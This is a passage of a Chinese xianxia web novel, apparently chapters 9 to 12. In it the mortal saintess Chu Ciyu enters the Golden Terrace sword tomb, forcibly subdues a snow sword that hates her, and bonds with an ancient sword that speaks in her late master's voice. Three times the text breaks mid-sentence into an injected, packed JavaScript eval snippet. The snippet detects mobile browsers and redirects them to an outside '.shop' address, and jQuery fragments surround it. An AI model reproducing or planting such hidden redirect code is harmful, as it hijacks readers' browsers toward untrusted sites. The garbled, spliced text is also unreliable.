楚慈玉轻抬下颌,丹唇外朗,“但我想与天争道重在一个争字,我的确没有入道修行,的确是凡人,但我也有自己的志气,有自己的手段。黄金台要不了我的命,我敢作敢当,绝不后悔。”
黎姿眼眸下移,定定凝她一眼,忽然扬笑。
“行啊。”
她转身往高座走,衣袍被步伐带得翻飞,黎姿头也不回,抬手拔下腰间玉牌,“如果你能走过黄金台,我便收你为徒。”
“传院长令,开黄金台!”
玉牌灵光大闪,化作流光冲出四方堂。
郁晚蔓眉心微蹙,但黎姿及时打断了她要出口的话,“好了你别乱心软,与天争道本该如此,大道都是人自己走出来的,谁也帮不了。若她想做我黎姿的亲传弟子,她就得走黄金台。”
“不错。”
某位符家尊者颔首,他唰唰几笔,在誓纸上拟好生死誓,生死誓转瞬即成,递至楚慈玉身前。
他声缓而低沉,但对他们的话很是支持,“想要什么,想求什么,都得自己争。”
楚慈玉在誓纸上签好姓名,生死誓即刻生效,即墨鹤唤来松鹤,当场要将她送至黄金台。
静脉尊者悠悠旁观,见此幕出声道:“既如此,仙洲令的事是否已经议得差不离了?”
说罢,她困倦地揉了揉眼,作疲惫状。
黎姿颔首。
她明白静脉尊者的暗示,于是沉声下令,“事已毕,开四方堂,清长廊,大堂尊者与内阁弟子去留随意。另,传闭口敕令,今日事不可外传。”
机关家弟子向四方堂内所有人发出止戈令,然后转动机枢,打开四方堂大门。
与此同时,即墨鹤撤去了先前布在各处的阵法,长廊上的众人懵懵懂懂地看着底下的大堂,不知所措。
先前他们莫名其妙地来议事,现在又得莫名其妙地离开,而且院长下了闭口敕令,他们也不能乱打听下面发生了什么。
算了,多想无益。
他们没停留多久,很快便相继离开,还是如进四方堂那般,诸家长老与弟子离去时各显神通,但比起入堂那阵子动静小了许多。毕竟尊者在场,该给些尊重。
大堂里的有些尊者和内阁弟子也离了席,有人是要事在身不得不走,有人则纯粹对楚慈玉能不能走过黄金台不感兴趣。
不过,令黎姿深感意外的是静脉尊者竟然没走,以往议事完毕时她总是摆着一副淡泊宁静的姿态,但跑得比谁都快。
四方堂因着众人离去的动静显得热闹了几分,松鹤尚未到达四方堂,楚慈玉还从从容容地准备着,她把指节上的芥子戒摘下来,然后走到燕折青身前拿给他。
“你帮我保管一会儿。”
燕折青身旁的原方野为她理所当然的姿态感到震惊。
他承认自己的好兄弟确实生得很好看,从小到大想跟燕折青交朋友的人也是络绎不绝,但是这么生硬的搭讪手段他也是第一次见!
原方野不解地歪了歪头,一句我们跟你也不熟啊还堵在喉咙里,就看见他的好兄弟毫不犹豫地伸出了手,任由那些芥子戒落在他手心。
原方野:?
你没见过芥子戒啊燕折青!
“去吧,等你出了黄金台,我再完璧归楚。”
燕折青眼里洒出星星点点的笑意,对人温声细语。
楚慈玉轻点螓首,转身走向慢悠悠踏进四方堂的松鹤。在燕折青的注视下,顷刻间,她身影远去。
而他垂眸打量手心里的芥子戒。
戒圈尺寸不大,能够通过细微差别估摸出是戴在哪些指节上的,但他觉得这些自己全都戴不上,比起他,楚慈玉的手还是纤细许多的。
原方野看着燕折青睹物思人的模样,觉得很诡异,惊恐地给师平秋发传文。
原:「出大事了!」
原:「燕折青好像病了。」
秋:「我就在你背后,不用在公输尺上发传文。」
原方野的肩突然被人一拍,吓得他跳起来。
“你没走?”
“无事可做,留下来看看也好。”
师平秋又问:“萧敏仪走了?”
原方野应是,“阿仪今晚还要在医馆值夜,所以不得不走,等我看完热闹就去找她。”
“行。那燕折青生什么病了?”
正将芥子戒放进胸前衣襟的燕折青听到这话丈二和尚摸不着头脑,困惑地指指自己,“我生病了?什么时候的事?”
原方野点头,真诚道:“有点吧,我就是感觉你喝多了膳堂的桃花红豆羹。”
好像又犯桃花癫又犯相思病。
燕折青瞥他一眼,无语,“要不还是你先找萧敏仪看看病吧。”
自楚慈玉去了黄金台后,机关家弟子便将一枚照月镜放到了四方堂中央,将镜面翻转过来后,照月镜投射出黄金台里的画面。
机关家弟子不断调试着,最后将画面中心定在了楚慈玉身上。
已经是夕照时分了,四方堂外绮丽的晚霞满布晚空,倦鸟相伴着归巢。
而黄金台里,楚慈玉正不徐不疾地走在观星路上。
说是路,其实这里更像波澜不惊的河道,从一个点开始,流泻出十脉蜿蜒曲折的主支,但水面倒映的并非夕霞,而是星空。
黄金台是三洲最好的器冢,自有灵识,极其辽阔,会依据来人改变地势与布局,变幻莫测,其中刀枪剑戟弓等灵器数不胜数,至今无人能弄清其到底蕴有多少件藏宝。
而黄金台最出名的灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579209|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
器是剑,因为其位于庚金星脉与辛金星脉的交汇处,天生与剑属性相合,很适合剑的温养,许多绝世宝剑自发前来,栖息于此静候有缘人,仙院弟子的本命剑大多出自此处。
观星路是前往黄金台深处的必经之路,集术数家与机关家两家所长,能够映照出登台者的命星图。
此时,一望无际的星空里,十条繁复蜿蜒的河道上,只有九颗星星为楚慈玉而亮,少得可怜,黯淡但执着。
楚慈玉静静走过它们,什么话也没说。
但四方堂里的人就没这么平静了,倒不如说后颈发凉。即墨鹤怔然望着照月镜,喃喃道:“我知道楚襟女儿的命星数量先天不足,但不知道少成这样。”
九颗啊,掰着手指头就能数完。
静脉尊者摇头,“人之命府生有十脉命星,一脉全满为十颗命星,十脉全满为百星。凡人命星数量一般在十五至二十颗间,而能入道修行的修士只会多不会少。”
凡间有观星测命的说法,认为命星数量能决定人的命运。这话在修士看来很是浅薄,命星数量固然对天资有极大的影响,但命星越多对应的劫数也越多。修行还与个人的勤勉、根骨、血脉、机缘等息息相关。
不过有一点是公认的,那些连凡人最低命星数都达不到的人,不是天残就是短命。
“命星数九,早夭之相,应该活不过二十,若我没记错的话她今岁满十七,所以算下来寿命应该只剩三年。”
郁晚蔓也不禁蹙眉。
“她这命星分布也极怪,庚金辛金两脉无命星,其余八脉,除开癸水外皆只存一颗命星。”
“庚金辛金两脉无命星的人易受金属性的器物灼烫。可灵器大多属金,剑尤盛,那她平日里应该连剑都难握,又怎敢豪言能走过黄金台?”
燕折青注视着观星路映照出的少得可怜的几颗星子,注视着楚慈玉平静的面庞,却没由来地感到愤怒。
他总觉得不该是这样的。
他梦中朦胧所见的人能引得满天星辰为她闪耀,而梦外的楚慈玉不断给着他熟悉的气息,让他不自觉想要亲近。
他心里已经生出了怀疑,却在此刻不期然见到了她黯淡的命星图,燕折青小臂无意识绷紧。
即墨鹤神色复杂地饮了口茶。
“难怪楚襟拼了命也要把女儿推上圣女的位子,圣女被鲸洲若木庇护,能延年益寿,健康永驻。若有圣女气运加持,想来她再多活二十年应该没问题。”
“不过这样一来,她恐怕在三洲呆不了多久吧?圣女气运只存于鲸洲一洲内,其实,她甚至不该来三洲的。”
听到即墨鹤谈起鲸洲若木时,静脉尊者若有若无地朝他抬去一眼,唇边噙着莫测的笑。
郁晚蔓眼里升起疼惜,柔声道:“可若过了二十岁,她就再也出不去鲸洲了,我反倒觉得她离开鲸洲太晚,晚到只有三年时间去看这世上旁的地方了。”
一黑一白两尊者没这么多同理心,很认真地抱着看热闹的心态点评。
“楚襟怎会有资质这么差的女儿?”
“这么多年了,还是不知道她母亲是谁吗?”
“当年有许多术数家修士好奇此事,结果没一个算出来。”
“郁晚蔓你是不是没算过,你给算算呢?”
“这楚慈玉该不会是楚襟钻研了什么禁术造出来的骨血吧?命星数九实属罕见。”
“…………”
黎姿听得不耐烦,道:“东方茂,东方盾,你们俩能不能消停点,一天到晚除了拱火就说不出其他话了吗?”
鹤发童颜的两尊者撇嘴,侧过头不理她,但终于肯安静下来。
而照月镜里,楚慈玉已正式走入了黄金台深处。黎姿凝眉,欲仔细看看黄金台为她辟了一条什么器物道。
但愿不是剑道,她想。
剑道。
黄金台里的楚慈玉打量着周围环境,很快判断出来。
10. 祭神血
黄金台深处自成天地,不享外界日月光辉,天色永远是赤金的。
楚慈玉身处一片丘陵中,四周尽是连绵起伏的低矮山丘,如涛似浪一望无际,脚下道路由残刃断剑铺就,有些地方锈迹斑斑,好似干涸的血迹。
她目前感觉一切还好。
剑对楚慈玉的灼烫说轻不轻,说严重又没有非常严重,至少此刻有鞋履相隔,她尚能正常行走。
带来更多影响的是剑道上肆无忌惮地横行着的剑气,在剑气萦绕下,楚慈玉感觉些许不适,皮肤也开始泛红生疼,她摸摸自己红扑扑的脸颊,有点心痛。
眼前道路弯弯绕绕,看不到尽头,死寂。
陡然,道旁遥遥的山顶上冒出了不少剑尖,那些细长或粗沉的,银光烁烁或漆黑似井或碧如翡翠的剑身慢慢显现,数柄剑像是探出头的小兽,警惕打量着来者。
他们之中有锃亮剑身的家伙们,无意将黄金台赤金的天色反射到楚慈玉身上。
楚慈玉很淡定地侧了侧身,避开。
但这只是先兆,随之而来的是轰隆声。
蓦然,天际传来巨响,如雷盛怒。
楚慈玉抬眼望去,只见黄金台一时间剑气冲天,漫山遍野尽带银光,锋刃破空乘风,正以不可阻挡的趋势朝她奔涌而来!
剑,闻生者气息而动。
它们都来看楚慈玉了。
她耳中一时间盈满细语,叽叽喳喳,辨不出男女老少,但楚慈玉知道这是剑在说话,由于某些原因,她从小就能听到这些非人的器物说话。
“是谁?风中传来剑很喜欢的气息。”
“剑的天,她的根骨怎么一截好一截坏?”
“剑东西们,要跟她走吗?”
“我挺想的,但我觉得我不是她的有缘人。”
“至少去她面前亮亮相吧,万一呢?”
“不打扰也是一种友好。”
“别管那么多了,我就想靠近瞅瞅。”
它们喋喋不休,大多数都径直朝楚慈玉飞来了。这些剑自认为停在了很有分寸的地方,但实际剑尖离她也就一两寸,看起来很危险。
四方堂里旁观的人心神一震,但楚慈玉知道它们没有恶意,所以允许它们挨着她,然后继续平平稳稳地走自己的路。
偶尔有剑靠得太近,不慎在她的浅紫衣袍上划破一个口子,楚慈玉就不宽容地瞪它一眼。
于是,肇事剑抖了抖,立马缩回其他剑身后,两声嗷呜嗷呜的哭声也传入楚慈玉的耳中。
剑是单纯的器物,很少主动伤人。
但渐渐地,来看她的剑太多了,几近遮天蔽日,黑压压一片,盖过了原本低矮的山丘,成了连绵不止的剑山刃海。
剑交头接耳时耸动剑身,带起嗡嗡剑鸣,似滚滚而来的波涛,直直灌入楚慈玉耳中。
很快,有什么温热的液体立马从耳中流淌出来,滑过耳垂带来痒意。
楚慈玉一抹,血色被抹匀在她指尖。她浓睫动了动,看见更多血珠慢慢滴落到地面上,不止耳朵流血了,喉咙间也涌着腥甜。
蜂拥而来的剑齐齐退后了一些,难以相信她居然会被剑鸣伤到,诧异于她的脆弱。
而楚慈玉自觉还能忍受,只是将指尖血珠一甩就继续往前走。她放过大话说黄金台要不了她的命了,也实在想做黎姿的弟子,所以不会为此驻足。
如果黄金台的考验只有剑鸣的话,她很快就能出去。残刃铺就的剑道上,被甩落的血珠划过丝缕金光。
四方堂里,尊者们闲谈着。
“不错,能引得万剑齐瞻说明还是有禀赋的,上次见这阵仗还是折青这小子头回进黄金台的时候了。不过折青命星有九十九颗,这位小友只有他的零头,可惜了。”
“剑挑人不看命星看根骨,也有凡人收复神剑的先例,照理说她的根骨应当不错,可为什么还没有剑出来认主?”
“认主有什么用,这位小友庚金辛金两脉无命星,连剑都握不了,剑术一门于她就是镜花水月。”
“也不尽然,倘若——”
铮!
照月镜传来的一声高昂剑啸斩断了他们的聊兴,黎姿拧眉看过去,却见黄金台内的苍穹不知何时被染成血红。
浓红灼了半边天,不断侵噬着原本的赤金,血色滚滚似狼烟,释放着杀意。
楚慈玉就立在这片血空之下,黄金台里阴沉了不少,原本围绕着她的灵剑仓惶后退,一副唯恐躲避不及的模样。
剑啸后,楚慈玉耳边再无剑说话,只余死寂,白茫茫得令人心惊。
楚慈玉微微叹气,心说果然没那么简单。
她的念头灵验很快。
很快,一道尖利的破空声炸响在黄金台无云的血色苍穹,掀起的气浪卷起了整个剑冢的尘埃,灵剑们又不约而同退了百步远,如临大敌。
肃杀之气里,一柄皓白如雪的剑疾驰而来,快到人无法反应,它二话不说,直直刺向楚慈玉的左肩!
楚慈玉来不及侧身,不得不正面接住剑刃。
锋刃如削泥般划开她掌心皮肉,一个呼吸间就留下深可见骨的伤痕,血流如注,很是可怖。
但她顾不上伤势,只是绷紧了手臂肌肉,小臂隐隐有青色纹路浮现,全身力气被倾注于掌中!
凡人也能炼体,只是需要许多天材地宝,效果当然也不如修士好,但作为鲸洲圣女,楚慈玉比其他人的优势大概就在于此,天材地宝对她来说跟雨水没什么两样。
如此下来,竟也慢慢逼停了雪剑。
他们相搏着气力。
而直到此刻楚慈玉才有空细看这柄剑,它通体雪白,纯净无杂色,就连剑鞘也似霜月,瞧着是柄娴雅温和的灵器。
可它为什么对她那么凶?
手心的灼痛不止,楚慈玉蹙眉,面无表情地看着自己的鲜血慢慢浸染剑身。
剑浴血,雪色渐渐变作赤红,而楚慈玉忽然心神一震,察觉到了什么。
“你是——”
她的话被打断。
“我恨你。”
楚慈玉眼眸微睁,怔然失语。
而雪剑嗡嗡震动,恨不得剜下她的肉。
她听见它说话,软糯尖细的嗓音,偏小女孩,带来无尽熟悉。
“黄金台说来的人与我有缘,那时我就猜到是你,可我不想见。黄金台见我不肯,居然强行传我来此,它一定是疯了。”
“你为什么这么晚才来,既然已经过了这么久,你又为什么要来?”
“楚慈玉,你比我们第一次见面时差劲多了。”
“你看看你自己,神骨一片不存,命星黯淡,你变成了这样一个废物,所以才来找我?你知道黄金台外面那些修士如今怎么称呼我吗,他们说我是上古凶剑。我无主千年,自生灵体,黄金台里没有任何一件灵器比得上我。我当初就看不上你,如今更看不上你了!”
“我讨厌废物,更讨厌不知天高地厚的废物,你给我即刻离开黄金台,不然我一定杀了你!”
雪剑的话带着无比的嫌恶。
它划破的面前人的伤口还在汨汨流血,血液从剑锋蔓延到剑鞘时已经微凉,这抹冷然淌得它顿了顿,但它依旧没有放松力气,铁了心要逼退楚慈玉。
透过血色,它看见她古井无波的眼眸。雪剑的灵识不可抑地瑟缩一下,像被针扎到。
废物,这个词让楚慈玉心生厌烦。
在鲸洲那座空荡的王宫里,在黑洞洞没有光亮的夜晚,她总能听到宫人的私语,能听到那些掩在唇后的恶意。
废物,恶心,天生招人厌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579210|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,为什么不去死,这些话她听尽听倦了。到如今,这些话不会让她难过了,只会让她厌烦。
“我来黄金台不是来找你的。”
楚慈玉揉了揉耳垂,像是被噪音吵到似的。她搭起眼帘,鸦睫下的眸子雪亮,不轻不重地抛下这一句。
雪剑闻言一愣,随即暴怒。
但就在它愣怔的那一瞬,楚慈玉牢牢握着它的剑身,与它相搏着力气,她手臂上的青色纹路更浓了几分,强行让对着自己肩头的剑锋开始偏移。
“说废物谁是废物?”
“我可从来没觉得自己是废物。”
她想,我不是废物,我被生下来的时候没人问过我愿不愿意,天道给予众生命运时从来没考虑众生的感受。
“而且,我当初也没看上你吧。”
淋淋鲜血中,楚慈玉面无表情地握着剑锋抵在自己腹部往上一点的位置。
“想杀我就往命府刺,凡人和修士的要害都在这里,你不会不清楚吧?既然你自诩凶剑,你应该尝过人命的滋味。”
她每个字都咬得很轻。
“我给你机会。”
雪剑有点慌乱,想挣脱她的手。
但来不及了,楚慈玉将它往自己命府狠狠一送。霎时间,流金般的血液喷溅出来,淋在雪剑上,金血蜿蜒如虫,如枷锁般迅速攀上雪剑剑身,以极强的攻势攻城掠地。
雪剑当即惨叫一声。
四方堂里,静脉尊者有些恍惚。
“我已经很多年没见过如此纯净的祭神血脉了。”
祭神血脉,上古十四洲的最强血脉之一,为鲸洲皇室独有。此血脉者天生慧极,能沟通天地,修行一日千里。
在神血传承还没断的那个时代,鲸洲历代青帝只有拥有至纯至盛的祭神血才能名正言顺登帝,但后来随岁月更迭,神血不受控制地滑向斑驳。
今日的鲸洲青帝周身血脉无半点金光,唯有前任圣子还尚承一息神血。她本以为鲸洲神血传承已尽,谁料,到了楚慈玉这一代,竟然回光返照。
“难怪……”
她想起些什么,惘然一叹。
照月镜不能传达声音,四方堂内的尊者只能看见黄金台里无声的血色一幕,郁晚蔓忧心得直叹气,她取下腰间的尊者令,道:
“内阁弟子听令,去黄金台把慈玉带出来。”
正紧锁着眉的黎姿当即看向她。
“心软太过只会适得其反,你不该替她做决定,既然她自己想争,该让她争到最后!”
“雪剑凶气太盛,稍有差池性命难保,”郁晚蔓稍微退步了些,但依旧坚决,“先叫个人进去看着,若她撑得住就不带出来。”
言罢,她抛出尊者令。
尊者令化作流光,任意一个内阁弟子皆可接下,栾延月扶上腰间佩剑,正欲动身,一阵风却猝不及防地刮过她。
是燕折青动身了,他比谁的速度都快,抢先夺下流光,施咒迅雷般离去,留其余人原地讶然。
栾延月压着怒,胸膛微微起伏。
而姬妙音罕见地清醒着,她打了个哈欠,盯着照月镜思索片刻,觉得自己也想去。
毕竟里头那位不是她未来师妹,就是她未来徒弟。
姬妙音扁扁地走到黎姿身旁,扯下对方腰间的尊者令。
黎姿没好气地瞪她。
姬妙音很无辜,“干嘛。”
尊者令在她手里化成流光,姬妙音背着的重剑得令,拖着自己懒散的主人,风驰电掣地赶去黄金台。
而静脉尊者只是微微笑。
“哎。”
她轻啧,不紧不慢地喝茶,笑意温和。
“还是太年轻了。”
“那可是霸道至极的祭神血脉,通达天地,可不要小瞧它的威力。”
11. 古剑
燕折青进黄金台时,没有任何防备地直接坠落到深河之中。
他在寒水中睁眼,衣袍飘荡如莲,先前束好的墨发被水流冲开,燕折青很快浮出水面,无语地朝黄金台的天空哈了一声。
把他丢河里干什么,这不碍事么。
河中正浮沉着不少灵器,正在闲聊吹水,悠哉悠哉地泡着,见燕折青被黄金台扔到河里,很高兴地游过去。以往燕折青被逮进来都是因为黄金台需要他帮忙磨洗灵器,它们理所当然地觉得这回也是,于是兴冲冲地去排队了。
“别,别。”
燕折青拨开它们,“我是来找人的。”
“先前进来了个女郎,你们能感知到她在哪儿吗?她很重要,给我指个路吧。”
“长什么样子?我说不上来啊,反正就很好看,嗯,跟我一个类型的,可好看的那种。”
有的灵器不感兴趣地沉下水,有的灵器冥思苦想,而一根墨蓝色的鞭子缠上他的手臂,猛然将他拽出水面,掀起雪白浪花,朝某个方向俯冲。
“给力!”
燕折青大赞。
他召出本命剑,脚尖一踏,稳稳立在剑尖。一人一剑一鞭,快得只剩残影,成为苍穹间的一条短线。
*
楚慈玉浑身滚烫。
她握住剑刃的手伤得厉害,也被灼烫得厉害,血肉外翻,原本的鲜血流尽了,慢慢涌出金线般的浓稠血液,附着在伤处蕴养。
雪剑拼命挣扎,想逃出她掌心。
楚慈玉就不让它走。
“你怎么这么讨厌,还拿血烫我!你胜之不武,快放开我!”
“你不是凡人吗,哪来那么大力气!”
楚慈玉又握着它往命府进了半寸,“你还是跟以前一样吵。”
金血缠绕在剑身,霸道至极,在所过之处錾刻下纹路。命府被中伤,楚慈玉额角开始冒出冷汗,安静卧在命府中的神识应激护主,不再沉睡,毫不犹豫地开始随祭神血一道攻击雪剑。
收服灵器的法子有许多,神识刻名是其中之一。
“你,你每次都这么随心所欲,想做什么就做什么,从来都不考虑我的想法!”
雪剑语气还是狠狠的,哼哼唧唧着不愿饶人,挣扎的幅度却小了许多,多了几分逆来顺受。
它的剑身被铭刻下鲸洲古文,一个又一个字浮现,先是楚,然后是慈。
慈字落下后,雪剑彻底不挣扎了,老老实实地等楚慈玉刻第三个字。
玉字如约而至。
三横。
一竖。
只差最后一点时,楚慈玉忽然松了手,她将雪剑从命府中拔出,抬袖把剑身上的血抹净,然后扔到旁边。
“哐当”一声,雪剑坠地,楚慈玉神识立马收手,滚回命府继续沉睡。纯金的祭神血温温和和地附着在腹部伤口,修修补补。
她很快就不再流血了。
雪剑尖叫,“你干什么!”
它剑身上已经錾刻好的姓名慢慢隐去。
“只差一点点就好了,你给我刻了名字,却又不想要我了?你又要抛下我吗?楚慈玉我讨厌你,我讨厌你!”
楚慈玉往前走,头也不回。
“既然那么讨厌我,还是别跟我走了吧。”
“我也不想要会伤主的剑。”
燕折青赶到时,看见就是这么一幕,重新聚拢起来的剑群继续亦步亦趋地跟着楚慈玉,挨得不近也不远,而她衣袍翩翩,好像什么都没发生一样继续找黄金台的出口。
他追过去时没看脚下,差点踩到一柄雪白的剑,燕折青身形微动,险险避开它,但这剑很凶,不依不饶地跳起来抽了他小腿一下,然后才继续颓丧地躺下。
“楚慈玉。”
燕折青没计较,只是朝前面低低唤了一声。楚慈玉应声回头,看见他时颇感意外地欸了欸,沉沉的墨瞳多了点光。
“怎么了?”
燕折青受宠若惊,下意识摸摸后颈。
楚慈玉盯着他的长发,“你——”
“我?”
问出来的下一瞬,他就从她黑亮的眸中清楚看见了自己——他没扎好高马尾,墨发披散着垂到胸前。
燕折青一惊,“很乱吗?”
“我先前掉河里了,发带不知道飘哪儿去了,只好草草用了个火咒把自己烤干,”他连忙背过身去,揽剑自照,匆匆检查仪表,“你先别看!”
“没有乱。”
楚慈玉并没有乖乖不看。
此刻的燕折青墨发披散,浓长如缎,他不是头发卷翘的类型,每根墨丝都很听话,服帖地披在肩上,比起他束高马尾时,披发让他更显清贵冷漠,展露出纯粹又浓烈的极具攻击性的俊美。
“好看的。”
楚慈玉安抚他。
燕折青哦了一声,僵硬地转过身来,有点羞恼,又有点被夸后的自得。他眉眼带笑,回身看她,但这些隐秘心绪在看见她衣袍上的血迹时烟消云散。
她腹部的伤止住血了,但浅紫衣袍上晕开了一层浓金,衣袖角则尽是鲜红,无一不触目惊心。
他真是有够混蛋的,为点不痛不痒的东西忘掉最重要的事。他想问她还能坚持吗,想说没关系的,黄金台对不入道的人来说就是又累又苦的,就此停步完全没问题。
但燕折青说不出口。
他赶过来的时候,楚慈玉与凶剑的角力已经结束了,他只看她继续朝前走的背影,单薄决绝。这足以说明她的决心了,她想走过黄金台,想做黎尊者的亲传弟子。
燕折青唇动了动,最后只是露出笑,他没有再看她衣袍的血迹,只是语气轻松地问:“出去的话,带我一个?”
楚慈玉颔首,施施然走在前头。
燕折青不知道,其实刚刚她好忙。她一边要看燕折青外露的大开大合的情绪,一边要听缠在他护臂上的墨蓝色鞭子讲话。
鞭子很激动,高声问,你就是燕折青说的那个可好看的女郎吗,楚慈玉的还没来得及答,它就又自言自语起来,欸,燕折青还说他和你一样好看,他真是从小到大都自恋哦。
楚慈玉也想,是哦,他怎么这样。
两人并肩走着,黄金台苍穹的血色慢慢散去,原本的赤金露出来,软和温柔的天光落在他们身上。
剑群依旧跟着,乌泱泱一大片,时不时会有几柄剑不小心撞到一起然后打架,这个时候燕折青的剑便嗖得一下飞出,冲进去平息事端。
楚慈玉听到剑吵架,循声看过去时,只看到无数挤挤凑凑的剑尖,严严实实地掩埋住了具体发生了什么。
她颇为遗憾地回头。
燕折青误以为她是对剑群一直拿剑锋对着自己而失落,开口解释道:“别怕,剑锋是剑的眼,它们是在看你。”
楚慈玉瞥他,哼声,“谁怕了?”
她一出口燕折青就知道她心情好着呢,他的心情也跟着松快起来,燕折青挑挑眉,抱臂轻笑,“嗯,是我怕。”
他的混劲儿又发作起来,不依不饶,“楚慈玉,我好怕哦,你可得保护好我。”
楚慈玉眨眼,伸手扬扬衣袖角。
“喏,给你牵。”
燕折青怔住,薄红随即飞上耳廓。
她她她怎么这样——
照月镜还在呢,尊者和师平秋原方野他们全都能看到,他牵了的话,他的脸面就荡然无存了!
“不牵算了,”楚慈玉本来就是逗他,看他愣住就收回了手,她温温吞吞地吐字,一副大人有大量的模样,“不牵我也会护好你的。”
燕折青耳廓的红有往脸颊和脖颈蔓延的趋势,他微微垂头,含糊不清地应了应,墨发藏住了他的神色。
黄金台里的燕折青担忧照月镜,殊不知四方堂里,照月镜压根就没映出他和楚慈玉的丁点影子,反而是在苦苦搜寻着姬妙音。
或是有了燕折青找到楚慈玉的前车之鉴,黄金台对付起姬妙音则是有过之而无不及,直接把她甩到了某个犄角旮旯里。
黎姿看得沉默,真不晓得自己的好大徒进去是帮忙还是添乱。眼见楚慈玉那边没了危险,她就指挥照月镜找起了姬妙音。
等姬妙音不紧不慢地赶到楚慈玉身边时,她已经快要走出黄金台。
因为在剑气萦绕的黄金台里硬抗了许久,楚慈玉的皮肤红得比之前更厉害,脸颊发烫,像要被蒸熟,不过还好,出口近在眼前。
这辛苦历程的最后一段路途经流苏花林。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579211|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与外界不同,黄金台里的流苏带着浅紫,凡间称其四月雪,而在灵器聚集之地,它的盛开并不需要遵从时节。清风拂过,枝上堆雪耸动,毛绒绒的。
楚慈玉很有闲心地评价,“挺好看的。”
她偏好紫色,觉得自己身上的衣袍与流苏花林很搭,只是可惜,她的衣袍染上了些不好看的杂色。
楚慈玉不开心地揪了揪袖角,那儿的血迹已经凝固,连带着原本柔软的衣袍也微微发硬。
自从进了流苏花林,剑群就没再跟进来了。
燕折青说这是因为黄金台很宝贝这片流苏花林,严禁那些莽撞的家伙进来劈枝砍叶,别提灵器,平日里黄金台甚至不愿意让弟子进来,今天算是额外开恩。
他说话的时候,楚慈玉发起了呆。
姬妙音碰碰她的肩膀,“这你得信燕折青,他就是黄金台肚子的蛔虫。”
某颗流苏树垂枝,没好气地轻抽了姬妙音一下,被她躲掉。
而楚慈玉看着前方青石上躺着的一柄灰扑扑的剑,声音轻轻的,“黄金台让灵器进来了。”
燕折青没听清,低头想问她说什么,青石上的古剑却动了,徐徐朝楚慈玉飞来。
它玉立在她身前,安静地等待,身后是漫天的浅紫雪堆,纷纷扬扬,更衬得它古朴不起眼。
楚慈玉停下了,看着它,有些恍惚。
她没想到三洲的黄金台卧虎藏龙,除了雪剑,她居然还能见到它。来三洲前的占卜说得没错,她与三洲确实很有缘分。
“它这是想认你为主。”
燕折青拧眉,“这把剑我见过,它住在东边的寒湖里,常年沉睡于湖心,没人知道它在黄金台里待了多久。”
他的语气带着些不确定。
“至于要不要答应你得好好想想,这剑有些古怪,自有记载以来,从来没人能拔出它,就连我也试过。”
“或许是因为不用则废,这柄剑的剑鞘几乎与剑身融为一体,难以分离,而且它常年浸于寒湖,浑身生锈,我给它磨洗过,怎么都磨不干净。”
姬妙音也出声。
“你可以先试试能不能拔出剑,如果连拔出来都做不到,那么此剑于你而言可以说是毫无用处。”
即使受了两位小辈不客气的贬低,古剑依旧玉立,温润安静。
楚慈玉只是摇头,她身处巨大的恍惚当中,没有办法回应他们两人的话。她只是向前一步,问古剑,“你想找的人是我吗?”
古剑剑身轻点。
“可是我的命星只有九颗,根骨也很差,是鲸洲名不副其实的圣女,你要找的人真的是我吗?”
楚慈玉轻轻地,慢慢地询问,眼眸含着一汪水,亮晶晶的。
古剑微微一晃,像在温和地笑。
“吾徒慈玉。”
剑的声音温润,熟悉,回响在楚慈玉耳畔,陡然将她拉回与师父师母见面的那一幕。
那时她才五岁,在又一个寻常的天黑后可以随便闯入他人梦境的夜里,她莫名其妙地滚进一个奇怪陌生的梦。
她不知道自己到了哪里,有点焦急又有点不高兴,跌跌撞撞地走路,然后不小心摔进泥潭,淡紫的宫裙顿时被弄得脏兮兮的。
小慈玉恼了,坐在泥潭里生闷气。
忽然,有人将她抱起,朝着自己的伴侣温柔地笑,他说:“阿女,唤阵雨来吧,有个小家伙在泥潭里赌气呢。”
“让雨给她洗洗吧,”那人笑着哄她,“不气不气,洗完了就又是个漂漂亮亮的小女郎了。”
眼前,没有师父和师母。
他们早已死去太多年。
古剑用着当年师父的温柔嗓音,温声细语地对楚慈玉说他住的寒湖离她太远,从她进黄金台他就在赶路,但还好,黄金台帮了他一把,把他送进了流苏花林。
在燕折青和姬妙音惊讶的目光里,楚慈玉咬破了指尖。
灿烂的金黄的祭神血流出来,楚慈玉用指尖在剑身上写自己的名字,留下錾金的古文。片刻后,古剑成功认主,黄金台微微震动,自觉功德圆满,要将众人送出去。
天地震动间,楚慈玉忍着灼烫,握住了剑,握住了他们留给她的最后一件东西。
12. 师妹
楚慈玉最后是独自离开四方堂的。
